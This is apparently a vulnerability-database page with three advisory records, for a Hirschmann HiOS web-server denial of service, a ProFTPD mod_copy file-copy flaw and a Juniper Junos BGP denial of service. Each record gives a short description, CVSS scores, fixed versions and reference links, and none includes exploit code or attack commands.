Hirschmann HiOS Switch Platform devices contain a denial-of-service vulnerability in the integrated web server due to missing validation of HTTP(S) content. A remote unauthenticated attacker can send a specially crafted HTTP(S) request to a specific endpoint that is processed incorrectly, causing the device to perform an unintended reboot and resulting in a temporary denial-of-service condition. This vulnerability has been addressed in versions 07.1.12, 08.7.10, 09.0.13, 09.3.03, 10.3.08, and 10.5.00.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-89025"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-755"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-15T15:17:26Z",
    "severity": "HIGH"
  },
  "details": "Hirschmann HiOS Switch Platform devices contain a denial-of-service vulnerability in the integrated web server due to missing validation of HTTP(S) content. A remote unauthenticated attacker can send a specially crafted HTTP(S) request to a specific endpoint that is processed incorrectly, causing the device to perform an unintended reboot and resulting in a temporary denial-of-service condition. This vulnerability has been addressed in versions 07.1.12, 08.7.10, 09.0.13, 09.3.03, 10.3.08, and 10.5.00.",
  "id": "GHSA-f972-wg3c-28j6",
  "modified": "2026-09-15T15:32:13Z",
  "published": "2026-09-15T15:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-89025"
    },
    {
      "type": "WEB",
      "url": "https://assets.belden.com/asset/2ba884e3-c0c9-40f6-aa22-a9e852b20af4/PSIRT-6_HTTPS_Vulnerability_HiOS.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/hirschmann-hios-switch-platform-dos-via-malformed-http-request"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-F989-XW5V-4W5P

Vulnerability from github – Published: 2022-05-24 16:50 – Updated: 2025-11-04 18:30
VLAI
Details

An arbitrary file copy vulnerability in mod_copy in ProFTPD up to 1.3.5b allows for remote code execution and information disclosure without authentication, a related issue to CVE-2015-3306.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-12815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-755"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-19T23:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An arbitrary file copy vulnerability in mod_copy in ProFTPD up to 1.3.5b allows for remote code execution and information disclosure without authentication, a related issue to CVE-2015-3306.",
  "id": "GHSA-f989-xw5v-4w5p",
  "modified": "2025-11-04T18:30:34Z",
  "published": "2022-05-24T16:50:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12815"
    },
    {
      "type": "WEB",
      "url": "https://github.com/proftpd/proftpd/pull/816"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-940889.pdf"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2019/08/msg00006.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/OJDQ3XUYWO42TJBO53NUWDZRA35QMVEI"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/XM5FPBAGSIKV6YJZEPM6GPGJO5JFT7XU"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OJDQ3XUYWO42TJBO53NUWDZRA35QMVEI"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XM5FPBAGSIKV6YJZEPM6GPGJO5JFT7XU"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Aug/3"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201908-16"
    },
    {
      "type": "WEB",
      "url": "https://tbspace.de/cve201912815proftpd.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2019/dsa-4491"
    },
    {
      "type": "WEB",
      "url": "http://bugs.proftpd.org/show_bug.cgi?id=4372"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00004.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00022.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00009.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Aug/35"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/109339"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FC92-44CH-WWHV

Vulnerability from github – Published: 2022-05-24 17:14 – Updated: 2022-05-24 17:14
VLAI
Details

In a certain condition, receipt of a specific BGP UPDATE message might cause Juniper Networks Junos OS and Junos OS Evolved devices to advertise an invalid BGP UPDATE message to other peers, causing the other peers to terminate the established BGP session, creating a Denial of Service (DoS) condition. For example, Router A sends a specific BGP UPDATE to Router B, causing Router B to send an invalid BGP UPDATE message to Router C, resulting in termination of the BGP session between Router B and Router C. This issue might occur when there is at least a single BGP session established on the device that does not support 4 Byte AS extension (RFC 4893). Repeated receipt of the same BGP UPDATE can result in an extended DoS condition. This issue affects Juniper Networks Junos OS: 16.1 versions prior to 16.1R7-S6; 16.2 versions prior to 16.2R2-S11; 17.1 versions prior to 17.1R2-S11, 17.1R3-S2; 17.2 versions prior to 17.2R1-S9, 17.2R2-S8, 17.2R3-S3; 17.2X75 versions prior to 17.2X75-D105, 17.2X75-D110, 17.2X75-D44; 17.3 versions prior to 17.3R2-S5, 17.3R3-S7; 17.4 versions prior to 17.4R2-S8, 17.4R3; 18.1 versions prior to 18.1R3-S8; 18.2 versions prior to 18.2R2-S6, 18.2R3-S2; 18.2X75 versions prior to 18.2X75-D12, 18.2X75-D33, 18.2X75-D411, 18.2X75-D420, 18.2X75-D51, 18.2X75-D60; 18.3 versions prior to 18.3R1-S6, 18.3R2-S3, 18.3R3; 18.4 versions prior to 18.4R1-S5, 18.4R3; 18.4 version 18.4R2 and later versions; 19.1 versions prior to 19.1R1-S3, 19.1R2; 19.2 versions prior to 19.2R1-S2, 19.2R2. This issue does not affect Juniper Networks Junos OS prior to 16.1R1. This issue affects Juniper Networks Junos OS Evolved prior to 19.2R2-EVO.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-1632"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-755"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-04-15T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "In a certain condition, receipt of a specific BGP UPDATE message might cause Juniper Networks Junos OS and Junos OS Evolved devices to advertise an invalid BGP UPDATE message to other peers, causing the other peers to terminate the established BGP session, creating a Denial of Service (DoS) condition. For example, Router A sends a specific BGP UPDATE to Router B, causing Router B to send an invalid BGP UPDATE message to Router C, resulting in termination of the BGP session between Router B and Router C. This issue might occur when there is at least a single BGP session established on the device that does not support 4 Byte AS extension (RFC 4893). Repeated receipt of the same BGP UPDATE can result in an extended DoS condition. This issue affects Juniper Networks Junos OS: 16.1 versions prior to 16.1R7-S6; 16.2 versions prior to 16.2R2-S11; 17.1 versions prior to 17.1R2-S11, 17.1R3-S2; 17.2 versions prior to 17.2R1-S9, 17.2R2-S8, 17.2R3-S3; 17.2X75 versions prior to 17.2X75-D105, 17.2X75-D110, 17.2X75-D44; 17.3 versions prior to 17.3R2-S5, 17.3R3-S7; 17.4 versions prior to 17.4R2-S8, 17.4R3; 18.1 versions prior to 18.1R3-S8; 18.2 versions prior to 18.2R2-S6, 18.2R3-S2; 18.2X75 versions prior to 18.2X75-D12, 18.2X75-D33, 18.2X75-D411, 18.2X75-D420, 18.2X75-D51, 18.2X75-D60; 18.3 versions prior to 18.3R1-S6, 18.3R2-S3, 18.3R3; 18.4 versions prior to 18.4R1-S5, 18.4R3; 18.4 version 18.4R2 and later versions; 19.1 versions prior to 19.1R1-S3, 19.1R2; 19.2 versions prior to 19.2R1-S2, 19.2R2. This issue does not affect Juniper Networks Junos OS prior to 16.1R1. This issue affects Juniper Networks Junos OS Evolved prior to 19.2R2-EVO.",
  "id": "GHSA-fc92-44ch-wwhv",
  "modified": "2022-05-24T17:14:46Z",
  "published": "2022-05-24T17:14:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1632"
    },
    {
      "type": "WEB",
      "url": "https://kb.juniper.net/JSA11013"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.